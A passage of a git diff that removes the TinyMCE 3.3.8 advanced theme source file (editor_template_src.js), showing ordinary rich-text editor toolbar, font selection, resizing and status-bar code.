i=this.editor;i.windowManager.open({url:e.baseURL+"/themes/advanced/anchor.htm",width:320+parseInt(i.getLang("advanced.anchor_delta_width",0)),height:90+parseInt(i.getLang("advanced.anchor_delta_height",0)),inline:true},{theme_url:this.url})},_mceCharMap:function(){var i=this.editor;i.windowManager.open({url:e.baseURL+"/themes/advanced/charmap.htm",width:550+parseInt(i.getLang("advanced.charmap_delta_width",0)),height:250+parseInt(i.getLang("advanced.charmap_delta_height",0)),inline:true},{theme_url:this.url})},_mceHelp:function(){var i=this.editor;i.windowManager.open({url:e.baseURL+"/themes/advanced/about.htm",width:480,height:380,inline:true},{theme_url:this.url})},_mceColorPicker:function(k,j){var i=this.editor;j=j||{};i.windowManager.open({url:e.baseURL+"/themes/advanced/color_picker.htm",width:375+parseInt(i.getLang("advanced.colorpicker_delta_width",0)),height:250+parseInt(i.getLang("advanced.colorpicker_delta_height",0)),close_previous:false,inline:true},{input_color:j.color,func:j.func,theme_url:this.url})},_mceCodeEditor:function(j,k){var i=this.editor;i.windowManager.open({url:e.baseURL+"/themes/advanced/source_editor.htm",width:parseInt(i.getParam("theme_advanced_source_editor_width",720)),height:parseInt(i.getParam("theme_advanced_source_editor_height",580)),inline:true,resizable:true,maximizable:true},{theme_url:this.url})},_mceImage:function(j,k){var i=this.editor;if(i.dom.getAttrib(i.selection.getNode(),"class").indexOf("mceItem")!=-1){return}i.windowManager.open({url:e.baseURL+"/themes/advanced/image.htm",width:355+parseInt(i.getLang("advanced.image_delta_width",0)),height:275+parseInt(i.getLang("advanced.image_delta_height",0)),inline:true},{theme_url:this.url})},_mceLink:function(j,k){var i=this.editor;i.windowManager.open({url:e.baseURL+"/themes/advanced/link.htm",width:310+parseInt(i.getLang("advanced.link_delta_width",0)),height:200+parseInt(i.getLang("advanced.link_delta_height",0)),inline:true},{theme_url:this.url})},_mceNewDocument:function(){var i=this.editor;i.windowManager.confirm("advanced.newdocument",function(j){if(j){i.execCommand("mceSetContent",false,"")}})},_mceForeColor:function(){var i=this;this._mceColorPicker(0,{color:i.fgColor,func:function(j){i.fgColor=j;i.editor.execCommand("ForeColor",false,j)}})},_mceBackColor:function(){var i=this;this._mceColorPicker(0,{color:i.bgColor,func:function(j){i.bgColor=j;i.editor.execCommand("HiliteColor",false,j)}})},_ufirst:function(i){return i.substring(0,1).toUpperCase()+i.substring(1)}});e.ThemeManager.add("advanced",e.themes.AdvancedTheme)}(tinymce)); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/editor_template_src.js b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/editor_template_src.js deleted file mode 100644 index e0d4dac..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/editor_template_src.js +++ /dev/null @@ -1,1217 +0,0 @@ -/** - * editor_template_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function(tinymce) { - var DOM = tinymce.DOM, Event = tinymce.dom.Event, extend = tinymce.extend, each = tinymce.each, Cookie = tinymce.util.Cookie, lastExtID, explode = tinymce.explode; - - // Tell it to load theme specific language pack(s) - tinymce.ThemeManager.requireLangPack('advanced'); - - tinymce.create('tinymce.themes.AdvancedTheme', { - sizes : [8, 10, 12, 14, 18, 24, 36], - - // Control name lookup, format: title, command - controls : { - bold : ['bold_desc', 'Bold'], - italic : ['italic_desc', 'Italic'], - underline : ['underline_desc', 'Underline'], - strikethrough : ['striketrough_desc', 'Strikethrough'], - justifyleft : ['justifyleft_desc', 'JustifyLeft'], - justifycenter : ['justifycenter_desc', 'JustifyCenter'], - justifyright : ['justifyright_desc', 'JustifyRight'], - justifyfull : ['justifyfull_desc', 'JustifyFull'], - bullist : ['bullist_desc', 'InsertUnorderedList'], - numlist : ['numlist_desc', 'InsertOrderedList'], - outdent : ['outdent_desc', 'Outdent'], - indent : ['indent_desc', 'Indent'], - cut : ['cut_desc', 'Cut'], - copy : ['copy_desc', 'Copy'], - paste : ['paste_desc', 'Paste'], - undo : ['undo_desc', 'Undo'], - redo : ['redo_desc', 'Redo'], - link : ['link_desc', 'mceLink'], - unlink : ['unlink_desc', 'unlink'], - image : ['image_desc', 'mceImage'], - cleanup : ['cleanup_desc', 'mceCleanup'], - help : ['help_desc', 'mceHelp'], - code : ['code_desc', 'mceCodeEditor'], - hr : ['hr_desc', 'InsertHorizontalRule'], - removeformat : ['removeformat_desc', 'RemoveFormat'], - sub : ['sub_desc', 'subscript'], - sup : ['sup_desc', 'superscript'], - forecolor : ['forecolor_desc', 'ForeColor'], - forecolorpicker : ['forecolor_desc', 'mceForeColor'], - backcolor : ['backcolor_desc', 'HiliteColor'], - backcolorpicker : ['backcolor_desc', 'mceBackColor'], - charmap : ['charmap_desc', 'mceCharMap'], - visualaid : ['visualaid_desc', 'mceToggleVisualAid'], - anchor : ['anchor_desc', 'mceInsertAnchor'], - newdocument : ['newdocument_desc', 'mceNewDocument'], - blockquote : ['blockquote_desc', 'mceBlockQuote'] - }, - - stateControls : ['bold', 'italic', 'underline', 'strikethrough', 'bullist', 'numlist', 'justifyleft', 'justifycenter', 'justifyright', 'justifyfull', 'sub', 'sup', 'blockquote'], - - init : function(ed, url) { - var t = this, s, v, o; - - t.editor = ed; - t.url = url; - t.onResolveName = new tinymce.util.Dispatcher(this); - - // Default settings - t.settings = s = extend({ - theme_advanced_path : true, - theme_advanced_toolbar_location : 'bottom', - theme_advanced_buttons1 : "bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,|,styleselect,formatselect", - theme_advanced_buttons2 : "bullist,numlist,|,outdent,indent,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code", - theme_advanced_buttons3 : "hr,removeformat,visualaid,|,sub,sup,|,charmap", - theme_advanced_blockformats : "p,address,pre,h1,h2,h3,h4,h5,h6", - theme_advanced_toolbar_align : "center", - theme_advanced_fonts : "Andale Mono=andale mono,times;Arial=arial,helvetica,sans-serif;Arial Black=arial black,avant garde;Book Antiqua=book antiqua,palatino;Comic Sans MS=comic sans ms,sans-serif;Courier New=courier new,courier;Georgia=georgia,palatino;Helvetica=helvetica;Impact=impact,chicago;Symbol=symbol;Tahoma=tahoma,arial,helvetica,sans-serif;Terminal=terminal,monaco;Times New Roman=times new roman,times;Trebuchet MS=trebuchet ms,geneva;Verdana=verdana,geneva;Webdings=webdings;Wingdings=wingdings,zapf dingbats", - theme_advanced_more_colors : 1, - theme_advanced_row_height : 23, - theme_advanced_resize_horizontal : 1, - theme_advanced_resizing_use_cookie : 1, - theme_advanced_font_sizes : "1,2,3,4,5,6,7", - readonly : ed.settings.readonly - }, ed.settings); - - // Setup default font_size_style_values - if (!s.font_size_style_values) - s.font_size_style_values = "8pt,10pt,12pt,14pt,18pt,24pt,36pt"; - - if (tinymce.is(s.theme_advanced_font_sizes, 'string')) { - s.font_size_style_values = tinymce.explode(s.font_size_style_values); - s.font_size_classes = tinymce.explode(s.font_size_classes || ''); - - // Parse string value - o = {}; - ed.settings.theme_advanced_font_sizes = s.theme_advanced_font_sizes; - each(ed.getParam('theme_advanced_font_sizes', '', 'hash'), function(v, k) { - var cl; - - if (k == v && v >= 1 && v <= 7) { - k = v + ' (' + t.sizes[v - 1] + 'pt)'; - cl = s.font_size_classes[v - 1]; - v = s.font_size_style_values[v - 1] || (t.sizes[v - 1] + 'pt'); - } - - if (/^\s*\./.test(v)) - cl = v.replace(/\./g, ''); - - o[k] = cl ? {'class' : cl} : {fontSize : v}; - }); - - s.theme_advanced_font_sizes = o; - } - - if ((v = s.theme_advanced_path_location) && v != 'none') - s.theme_advanced_statusbar_location = s.theme_advanced_path_location; - - if (s.theme_advanced_statusbar_location == 'none') - s.theme_advanced_statusbar_location = 0; - - // Init editor - ed.onInit.add(function() { - if (!ed.settings.readonly) - ed.onNodeChange.add(t._nodeChanged, t); - - if (ed.settings.content_css !== false) - ed.dom.loadCSS(ed.baseURI.toAbsolute("themes/advanced/skins/" + ed.settings.skin + "/content.css")); - }); - - ed.onSetProgressState.add(function(ed, b, ti) { - var co, id = ed.id, tb; - - if (b) { - t.progressTimer = setTimeout(function() { - co = ed.getContainer(); - co = co.insertBefore(DOM.create('DIV', {style : 'position:relative'}), co.firstChild); - tb = DOM.get(ed.id + '_tbl'); - - DOM.add(co, 'div', {id : id + '_blocker', 'class' : 'mceBlocker', style : {width : tb.clientWidth + 2, height : tb.clientHeight + 2}}); - DOM.add(co, 'div', {id : id + '_progress', 'class' : 'mceProgress', style : {left : tb.clientWidth / 2, top : tb.clientHeight / 2}}); - }, ti || 0); - } else { - DOM.remove(id + '_blocker'); - DOM.remove(id + '_progress'); - clearTimeout(t.progressTimer); - } - }); - - DOM.loadCSS(s.editor_css ? ed.documentBaseURI.toAbsolute(s.editor_css) : url + "/skins/" + ed.settings.skin + "/ui.css"); - - if (s.skin_variant) - DOM.loadCSS(url + "/skins/" + ed.settings.skin + "/ui_" + s.skin_variant + ".css"); - }, - - createControl : function(n, cf) { - var cd, c; - - if (c = cf.createControl(n)) - return c; - - switch (n) { - case "styleselect": - return this._createStyleSelect(); - - case "formatselect": - return this._createBlockFormats(); - - case "fontselect": - return this._createFontSelect(); - - case "fontsizeselect": - return this._createFontSizeSelect(); - - case "forecolor": - return this._createForeColorMenu(); - - case "backcolor": - return this._createBackColorMenu(); - } - - if ((cd = this.controls[n])) - return cf.createButton(n, {title : "advanced." + cd[0], cmd : cd[1], ui : cd[2], value : cd[3]}); - }, - - execCommand : function(cmd, ui, val) { - var f = this['_' + cmd]; - - if (f) { - f.call(this, ui, val); - return true; - } - - return false; - }, - - _importClasses : function(e) { - var ed = this.editor, ctrl = ed.controlManager.get('styleselect'); - - if (ctrl.getLength() == 0) { - each(ed.dom.getClasses(), function(o, idx) { - var name = 'style_' + idx; - - ed.formatter.register(name, { - inline : 'span', - attributes : {'class' : o['class']}, - selector : '*' - }); - - ctrl.add(o['class'], name); - }); - } - }, - - _createStyleSelect : function(n) { - var t = this, ed = t.editor, ctrlMan = ed.controlManager, ctrl; - - // Setup style select box - ctrl = ctrlMan.createListBox('styleselect', { - title : 'advanced.style_select', - onselect : function(name) { - var matches, formatNames = []; - - each(ctrl.items, function(item) { - formatNames.push(item.value); - }); - - ed.focus(); - ed.undoManager.add(); - - // Toggle off the current format - matches = ed.formatter.matchAll(formatNames); - if (!name || matches[0] == name) - ed.formatter.remove(matches[0]); - else - ed.formatter.apply(name); - - ed.undoManager.add(); - ed.nodeChanged(); - - return false; // No auto select - } - }); - - // Handle specified format - ed.onInit.add(function() { - var counter = 0, formats = ed.getParam('style_formats'); - - if (formats) { - each(formats, function(fmt) { - var name, keys = 0; - - each(fmt, function() {keys++;}); - - if (keys > 1) { - name = fmt.name = fmt.name || 'style_' + (counter++); - ed.formatter.register(name, fmt); - ctrl.add(fmt.title, name); - } else - ctrl.add(fmt.title); - }); - } else { - each(ed.getParam('theme_advanced_styles', '', 'hash'), function(val, key) { - var name; - - if (val) { - name = 'style_' + (counter++); - - ed.formatter.register(name, { - inline : 'span', - classes : val, - selector : '*' - }); - - ctrl.add(t.editor.translate(key), name); - } - }); - } - }); - - // Auto import classes if the ctrl box is empty - if (ctrl.getLength() == 0) { - ctrl.onPostRender.add(function(ed, n) { - if (!ctrl.NativeListBox) { - Event.add(n.id + '_text', 'focus', t._importClasses, t); - Event.add(n.id + '_text', 'mousedown', t._importClasses, t); - Event.add(n.id + '_open', 'focus', t._importClasses, t); - Event.add(n.id + '_open', 'mousedown', t._importClasses, t); - } else - Event.add(n.id, 'focus', t._importClasses, t); - }); - } - - return ctrl; - }, - - _createFontSelect : function() { - var c, t = this, ed = t.editor; - - c = ed.controlManager.createListBox('fontselect', { - title : 'advanced.fontdefault', - onselect : function(v) { - var cur = c.items[c.selectedIndex]; - - if (!v && cur) { - ed.execCommand('FontName', false, cur.value); - return; - } - - ed.execCommand('FontName', false, v); - - // Fake selection, execCommand will fire a nodeChange and update the selection - c.select(function(sv) { - return v == sv; - }); - - return false; // No auto select - } - }); - - if (c) { - each(ed.getParam('theme_advanced_fonts', t.settings.theme_advanced_fonts, 'hash'), function(v, k) { - c.add(ed.translate(k), v, {style : v.indexOf('dings') == -1 ? 'font-family:' + v : ''}); - }); - } - - return c; - }, - - _createFontSizeSelect : function() { - var t = this, ed = t.editor, c, i = 0, cl = []; - - c = ed.controlManager.createListBox('fontsizeselect', {title : 'advanced.font_size', onselect : function(v) { - var cur = c.items[c.selectedIndex]; - - if (!v && cur) { - cur = cur.value; - - if (cur['class']) { - ed.formatter.toggle('fontsize_class', {value : cur['class']}); - ed.undoManager.add(); - ed.nodeChanged(); - } else { - ed.execCommand('FontSize', false, cur.fontSize); - } - - return; - } - - if (v['class']) { - ed.focus(); - ed.undoManager.add(); - ed.formatter.toggle('fontsize_class', {value : v['class']}); - ed.undoManager.add(); - ed.nodeChanged(); - } else - ed.execCommand('FontSize', false, v.fontSize); - - // Fake selection, execCommand will fire a nodeChange and update the selection - c.select(function(sv) { - return v == sv; - }); - - return false; // No auto select - }}); - - if (c) { - each(t.settings.theme_advanced_font_sizes, function(v, k) { - var fz = v.fontSize; - - if (fz >= 1 && fz <= 7) - fz = t.sizes[parseInt(fz) - 1] + 'pt'; - - c.add(k, v, {'style' : 'font-size:' + fz, 'class' : 'mceFontSize' + (i++) + (' ' + (v['class'] || ''))}); - }); - } - - return c; - }, - - _createBlockFormats : function() { - var c, fmts = { - p : 'advanced.paragraph', - address : 'advanced.address', - pre : 'advanced.pre', - h1 : 'advanced.h1', - h2 : 'advanced.h2', - h3 : 'advanced.h3', - h4 : 'advanced.h4', - h5 : 'advanced.h5', - h6 : 'advanced.h6', - div : 'advanced.div', - blockquote : 'advanced.blockquote', - code : 'advanced.code', - dt : 'advanced.dt', - dd : 'advanced.dd', - samp : 'advanced.samp' - }, t = this; - - c = t.editor.controlManager.createListBox('formatselect', {title : 'advanced.block', cmd : 'FormatBlock'}); - if (c) { - each(t.editor.getParam('theme_advanced_blockformats', t.settings.theme_advanced_blockformats, 'hash'), function(v, k) { - c.add(t.editor.translate(k != v ? k : fmts[v]), v, {'class' : 'mce_formatPreview mce_' + v}); - }); - } - - return c; - }, - - _createForeColorMenu : function() { - var c, t = this, s = t.settings, o = {}, v; - - if (s.theme_advanced_more_colors) { - o.more_colors_func = function() { - t._mceColorPicker(0, { - color : c.value, - func : function(co) { - c.setColor(co); - } - }); - }; - } - - if (v = s.theme_advanced_text_colors) - o.colors = v; - - if (s.theme_advanced_default_foreground_color) - o.default_color = s.theme_advanced_default_foreground_color; - - o.title = 'advanced.forecolor_desc'; - o.cmd = 'ForeColor'; - o.scope = this; - - c = t.editor.controlManager.createColorSplitButton('forecolor', o); - - return c; - }, - - _createBackColorMenu : function() { - var c, t = this, s = t.settings, o = {}, v; - - if (s.theme_advanced_more_colors) { - o.more_colors_func = function() { - t._mceColorPicker(0, { - color : c.value, - func : function(co) { - c.setColor(co); - } - }); - }; - } - - if (v = s.theme_advanced_background_colors) - o.colors = v; - - if (s.theme_advanced_default_background_color) - o.default_color = s.theme_advanced_default_background_color; - - o.title = 'advanced.backcolor_desc'; - o.cmd = 'HiliteColor'; - o.scope = this; - - c = t.editor.controlManager.createColorSplitButton('backcolor', o); - - return c; - }, - - renderUI : function(o) { - var n, ic, tb, t = this, ed = t.editor, s = t.settings, sc, p, nl; - - n = p = DOM.create('span', {id : ed.id + '_parent', 'class' : 'mceEditor ' + ed.settings.skin + 'Skin' + (s.skin_variant ? ' ' + ed.settings.skin + 'Skin' + t._ufirst(s.skin_variant) : '')}); - - if (!DOM.boxModel) - n = DOM.add(n, 'div', {'class' : 'mceOldBoxModel'}); - - n = sc = DOM.add(n, 'table', {id : ed.id + '_tbl', 'class' : 'mceLayout', cellSpacing : 0, cellPadding : 0}); - n = tb = DOM.add(n, 'tbody'); - - switch ((s.theme_advanced_layout_manager || '').toLowerCase()) { - case "rowlayout": - ic = t._rowLayout(s, tb, o); - break; - - case "customlayout": - ic = ed.execCallback("theme_advanced_custom_layout", s, tb, o, p); - break; - - default: - ic = t._simpleLayout(s, tb, o, p); - } - - n = o.targetNode; - - // Add classes to first and last TRs - nl = DOM.stdMode ? sc.getElementsByTagName('tr') : sc.rows; // Quick fix for IE 8 - DOM.addClass(nl[0], 'mceFirst'); - DOM.addClass(nl[nl.length - 1], 'mceLast'); - - // Add classes to first and last TDs - each(DOM.select('tr', tb), function(n) { - DOM.addClass(n.firstChild, 'mceFirst'); - DOM.addClass(n.childNodes[n.childNodes.length - 1], 'mceLast'); - }); - - if (DOM.get(s.theme_advanced_toolbar_container)) - DOM.get(s.theme_advanced_toolbar_container).appendChild(p); - else - DOM.insertAfter(p, n); - - Event.add(ed.id + '_path_row', 'click', function(e) { - e = e.target; - - if (e.nodeName == 'A') { - t._sel(e.className.replace(/^.*mcePath_([0-9]+).*$/, '$1')); - - return Event.cancel(e); - } - }); -/* - if (DOM.get(ed.id + '_path_row')) { - Event.add(ed.id + '_tbl', 'mouseover', function(e) { - var re; - - e = e.target; - - if (e.nodeName == 'SPAN' && DOM.hasClass(e.parentNode, 'mceButton')) { - re = DOM.get(ed.id + '_path_row'); - t.lastPath = re.innerHTML; - DOM.setHTML(re, e.parentNode.title); - } - }); - - Event.add(ed.id + '_tbl', 'mouseout', function(e) { - if (t.lastPath) { - DOM.setHTML(ed.id + '_path_row', t.lastPath); - t.lastPath = 0; - } - }); - } -*/ - - if (!ed.getParam('accessibility_focus')) - Event.add(DOM.add(p, 'a', {href : '#'}, '<!-- IE -->'), 'focus', function() {tinyMCE.get(ed.id).focus();}); - - if (s.theme_advanced_toolbar_location == 'external') - o.deltaHeight = 0; - - t.deltaHeight = o.deltaHeight; - o.targetNode = null; - - return { - iframeContainer : ic, - editorContainer : ed.id + '_parent', - sizeContainer : sc, - deltaHeight : o.deltaHeight - }; - }, - - getInfo : function() { - return { - longname : 'Advanced theme', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - version : tinymce.majorVersion + "." + tinymce.minorVersion - } - }, - - resizeBy : function(dw, dh) { - var e = DOM.get(this.editor.id + '_tbl'); - - this.resizeTo(e.clientWidth + dw, e.clientHeight + dh); - }, - - resizeTo : function(w, h) { - var ed = this.editor, s = this.settings, e = DOM.get(ed.id + '_tbl'), ifr = DOM.get(ed.id + '_ifr'); - - // Boundery fix box - w = Math.max(s.theme_advanced_resizing_min_width || 100, w); - h = Math.max(s.theme_advanced_resizing_min_height || 100, h); - w = Math.min(s.theme_advanced_resizing_max_width || 0xFFFF, w); - h = Math.min(s.theme_advanced_resizing_max_height || 0xFFFF, h); - - // Resize iframe and container - DOM.setStyle(e, 'height', ''); - DOM.setStyle(ifr, 'height', h); - - if (s.theme_advanced_resize_horizontal) { - DOM.setStyle(e, 'width', ''); - DOM.setStyle(ifr, 'width', w); - - // Make sure that the size is never smaller than the over all ui - if (w < e.clientWidth) - DOM.setStyle(ifr, 'width', e.clientWidth); - } - }, - - destroy : function() { - var id = this.editor.id; - - Event.clear(id + '_resize'); - Event.clear(id + '_path_row'); - Event.clear(id + '_external_close'); - }, - - // Internal functions - - _simpleLayout : function(s, tb, o, p) { - var t = this, ed = t.editor, lo = s.theme_advanced_toolbar_location, sl = s.theme_advanced_statusbar_location, n, ic, etb, c; - - if (s.readonly) { - n = DOM.add(tb, 'tr'); - n = ic = DOM.add(n, 'td', {'class' : 'mceIframeContainer'}); - return ic; - } - - // Create toolbar container at top - if (lo == 'top') - t._addToolbars(tb, o); - - // Create external toolbar - if (lo == 'external') { - n = c = DOM.create('div', {style : 'position:relative'}); - n = DOM.add(n, 'div', {id : ed.id + '_external', 'class' : 'mceExternalToolbar'}); - DOM.add(n, 'a', {id : ed.id + '_external_close', href : 'javascript:;', 'class' : 'mceExternalClose'}); - n = DOM.add(n, 'table', {id : ed.id + '_tblext', cellSpacing : 0, cellPadding : 0}); - etb = DOM.add(n, 'tbody'); - - if (p.firstChild.className == 'mceOldBoxModel') - p.firstChild.appendChild(c); - else - p.insertBefore(c, p.firstChild); - - t._addToolbars(etb, o); - - ed.onMouseUp.add(function() { - var e = DOM.get(ed.id + '_external'); - DOM.show(e); - - DOM.hide(lastExtID); - - var f = Event.add(ed.id + '_external_close', 'click', function() { - DOM.hide(ed.id + '_external'); - Event.remove(ed.id + '_external_close', 'click', f); - }); - - DOM.show(e); - DOM.setStyle(e, 'top', 0 - DOM.getRect(ed.id + '_tblext').h - 1); - - // Fixes IE rendering bug - DOM.hide(e); - DOM.show(e); - e.style.filter = ''; - - lastExtID = ed.id + '_external'; - - e = null; - }); - } - - if (sl == 'top') - t._addStatusBar(tb, o); - - // Create iframe container - if (!s.theme_advanced_toolbar_container) { - n = DOM.add(tb, 'tr'); - n = ic = DOM.add(n, 'td', {'class' : 'mceIframeContainer'}); - } - - // Create toolbar container at bottom - if (lo == 'bottom') - t._addToolbars(tb, o); - - if (sl == 'bottom') - t._addStatusBar(tb, o); - - return ic; - }, - - _rowLayout : function(s, tb, o) { - var t = this, ed = t.editor, dc, da, cf = ed.controlManager, n, ic, to, a; - - dc = s.theme_advanced_containers_default_class || ''; - da = s.theme_advanced_containers_default_align || 'center'; - - each(explode(s.theme_advanced_containers || ''), function(c, i) { - var v = s['theme_advanced_container_' + c] || ''; - - switch (v.toLowerCase()) { - case 'mceeditor': - n = DOM.add(tb, 'tr'); - n = ic = DOM.add(n, 'td', {'class' : 'mceIframeContainer'}); - break; - - case 'mceelementpath': - t._addStatusBar(tb, o); - break; - - default: - a = (s['theme_advanced_container_' + c + '_align'] || da).toLowerCase(); - a = 'mce' + t._ufirst(a); - - n = DOM.add(DOM.add(tb, 'tr'), 'td', { - 'class' : 'mceToolbar ' + (s['theme_advanced_container_' + c + '_class'] || dc) + ' ' + a || da - }); - - to = cf.createToolbar("toolbar" + i); - t._addControls(v, to); - DOM.setHTML(n, to.renderHTML()); - o.deltaHeight -= s.theme_advanced_row_height; - } - }); - - return ic; - }, - - _addControls : function(v, tb) { - var t = this, s = t.settings, di, cf = t.editor.controlManager; - - if (s.theme_advanced_disable && !t._disabled) { - di = {}; - - each(explode(s.theme_advanced_disable), function(v) { - di[v] = 1; - }); - - t._disabled = di; - } else - di = t._disabled; - - each(explode(v), function(n) { - var c; - - if (di && di[n]) - return; - - // Compatiblity with 2.x - if (n == 'tablecontrols') { - each(["table","|","row_props","cell_props","|","row_before","row_after","delete_row","|","col_before","col_after","delete_col","|","split_cells","merge_cells"], function(n) { - n = t.createControl(n, cf); - - if (n) - tb.add(n); - }); - - return; - } - - c = t.createControl(n, cf); - - if (c) - tb.add(c); - }); - }, - - _addToolbars : function(c, o) { - var t = this, i, tb, ed = t.editor, s = t.settings, v, cf = ed.controlManager, di, n, h = [], a; - - a = s.theme_advanced_toolbar_align.toLowerCase(); - a = 'mce' + t._ufirst(a); - - n = DOM.add(DOM.add(c, 'tr'), 'td', {'class' : 'mceToolbar ' + a}); - - if (!ed.getParam('accessibility_focus')) - h.push(DOM.createHTML('a', {href : '#', onfocus : 'tinyMCE.get(\'' + ed.id + '\').focus();'}, '<!-- IE -->')); - - h.push(DOM.createHTML('a', {href : '#', accesskey : 'q', title : ed.getLang("advanced.toolbar_focus")}, '<!-- IE -->')); - - // Create toolbar and add the controls - for (i=1; (v = s['theme_advanced_buttons' + i]); i++) { - tb = cf.createToolbar("toolbar" + i, {'class' : 'mceToolbarRow' + i}); - - if (s['theme_advanced_buttons' + i + '_add']) - v += ',' + s['theme_advanced_buttons' + i + '_add']; - - if (s['theme_advanced_buttons' + i + '_add_before']) - v = s['theme_advanced_buttons' + i + '_add_before'] + ',' + v; - - t._addControls(v, tb); - - //n.appendChild(n = tb.render()); - h.push(tb.renderHTML()); - - o.deltaHeight -= s.theme_advanced_row_height; - } - - h.push(DOM.createHTML('a', {href : '#', accesskey : 'z', title : ed.getLang("advanced.toolbar_focus"), onfocus : 'tinyMCE.getInstanceById(\'' + ed.id + '\').focus();'}, '<!-- IE -->')); - DOM.setHTML(n, h.join('')); - }, - - _addStatusBar : function(tb, o) { - var n, t = this, ed = t.editor, s = t.settings, r, mf, me, td; - - n = DOM.add(tb, 'tr'); - n = td = DOM.add(n, 'td', {'class' : 'mceStatusbar'}); - n = DOM.add(n, 'div', {id : ed.id + '_path_row'}, s.theme_advanced_path ? ed.translate('advanced.path') + ': ' : '&#160;'); - DOM.add(n, 'a', {href : '#', accesskey : 'x'}); - - if (s.theme_advanced_resizing) { - DOM.add(td, 'a', {id : ed.id + '_resize', href : 'javascript:;', onclick : "return false;", 'class' : 'mceResize'}); - - if (s.theme_advanced_resizing_use_cookie) { - ed.onPostRender.add(function() { - var o = Cookie.getHash("TinyMCE_" + ed.id + "_size"), c = DOM.get(ed.id + '_tbl'); - - if (!o) - return; - - t.resizeTo(o.cw, o.ch); - }); - } - - ed.onPostRender.add(function() { - Event.add(ed.id + '_resize', 'mousedown', function(e) { - var mouseMoveHandler1, mouseMoveHandler2, - mouseUpHandler1, mouseUpHandler2, - startX, startY, startWidth, startHeight, width, height, ifrElm; - - function resizeOnMove(e) { - width = startWidth + (e.screenX - startX); - height = startHeight + (e.screenY - startY); - - t.resizeTo(width, height); - }; - - function endResize(e) { - // Stop listening - Event.remove(DOM.doc, 'mousemove', mouseMoveHandler1); - Event.remove(ed.getDoc(), 'mousemove', mouseMoveHandler2); - Event.remove(DOM.doc, 'mouseup', mouseUpHandler1); - Event.remove(ed.getDoc(), 'mouseup', mouseUpHandler2); - - // Store away the size - if (s.theme_advanced_resizing_use_cookie) { - Cookie.setHash("TinyMCE_" + ed.id + "_size", { - cw : width, - ch : height - }); - } - }; - - e.preventDefault(); - - // Get the current rect size - startX = e.screenX; - startY = e.screenY; - ifrElm = DOM.get(t.editor.id + '_ifr'); - startWidth = width = ifrElm.clientWidth; - startHeight = height = ifrElm.clientHeight; - - // Register envent handlers - mouseMoveHandler1 = Event.add(DOM.doc, 'mousemove', resizeOnMove); - mouseMoveHandler2 = Event.add(ed.getDoc(), 'mousemove', resizeOnMove); - mouseUpHandler1 = Event.add(DOM.doc, 'mouseup', endResize); - mouseUpHandler2 = Event.add(ed.getDoc(), 'mouseup', endResize); - }); - }); - } - - o.deltaHeight -= 21; - n = tb = null; - }, - - _nodeChanged : function(ed, cm, n, co, ob) { - var t = this, p, de = 0, v, c, s = t.settings, cl, fz, fn, formatNames, matches; - - tinymce.each(t.stateControls, function(c) { - cm.setActive(c, ed.queryCommandState(t.controls[c][1])); - }); - - function getParent(name) { - var i, parents = ob.parents, func = name; - - if (typeof(name) == 'string') { - func = function(node) { - return node.nodeName == name; - }; - } - - for (i = 0; i < parents.length; i++) { - if (func(parents[i])) - return parents[i]; - } - }; - - cm.setActive('visualaid', ed.hasVisual); - cm.setDisabled('undo', !ed.undoManager.hasUndo() && !ed.typing); - cm.setDisabled('redo', !ed.undoManager.hasRedo()); - cm.setDisabled('outdent', !ed.queryCommandState('Outdent')); - - p = getParent('A'); - if (c = cm.get('link')) { - if (!p || !p.name) { - c.setDisabled(!p && co); - c.setActive(!!p); - } - } - - if (c = cm.get('unlink')) { - c.setDisabled(!p && co); - c.setActive(!!p && !p.name); - } - - if (c = cm.get('anchor')) { - c.setActive(!!p && p.name); - } - - p = getParent('IMG'); - if (c = cm.get('image')) - c.setActive(!!p && n.className.indexOf('mceItem') == -1); - - if (c = cm.get('styleselect')) { - t._importClasses(); - - formatNames = []; - each(c.items, function(item) { - formatNames.push(item.value); - }); - - matches = ed.formatter.matchAll(formatNames); - c.select(matches[0]); - } - - if (c = cm.get('formatselect')) { - p = getParent(DOM.isBlock); - - if (p) - c.select(p.nodeName.toLowerCase()); - } - - // Find out current fontSize, fontFamily and fontClass - getParent(function(n) { - if (n.nodeName === 'SPAN') { - if (!cl && n.className) - cl = n.className; - - if (!fz && n.style.fontSize) - fz = n.style.fontSize; - - if (!fn && n.style.fontFamily) - fn = n.style.fontFamily.replace(/[\"\']+/g, '').replace(/^([^,]+).*/, '$1').toLowerCase(); - } - - return false; - }); - - if (c = cm.get('fontselect')) { - c.select(function(v) { - return v.replace(/^([^,]+).*/, '$1').toLowerCase() == fn; - }); - } - - // Select font size - if (c = cm.get('fontsizeselect')) { - // Use computed style - if (s.theme_advanced_runtime_fontsize && !fz && !cl) - fz = ed.dom.getStyle(n, 'fontSize', true); - - c.select(function(v) { - if (v.fontSize && v.fontSize === fz) - return true; - - if (v['class'] && v['class'] === cl) - return true; - }); - } - - if (s.theme_advanced_path && s.theme_advanced_statusbar_location) { - p = DOM.get(ed.id + '_path') || DOM.add(ed.id + '_path_row', 'span', {id : ed.id + '_path'}); - DOM.setHTML(p, ''); - - getParent(function(n) { - var na = n.nodeName.toLowerCase(), u, pi, ti = ''; - - /*if (n.getAttribute('_mce_bogus')) - return; -*/ - // Ignore non element and hidden elements - if (n.nodeType != 1 || n.nodeName === 'BR' || (DOM.hasClass(n, 'mceItemHidden') || DOM.hasClass(n, 'mceItemRemoved'))) - return; - - // Fake name - if (v = DOM.getAttrib(n, 'mce_name')) - na = v; - - // Handle prefix - if (tinymce.isIE && n.scopeName !== 'HTML') - na = n.scopeName + ':' + na; - - // Remove internal prefix - na = na.replace(/mce\:/g, ''); - - // Handle node name - switch (na) { - case 'b': - na = 'strong'; - break; - - case 'i': - na = 'em'; - break; - - case 'img': - if (v = DOM.getAttrib(n, 'src')) - ti += 'src: ' + v + ' '; - - break; - - case 'a': - if (v = DOM.getAttrib(n, 'name')) { - ti += 'name: ' + v + ' '; - na += '#' + v; - } - - if (v = DOM.getAttrib(n, 'href')) - ti += 'href: ' + v + ' '; - - break; - - case 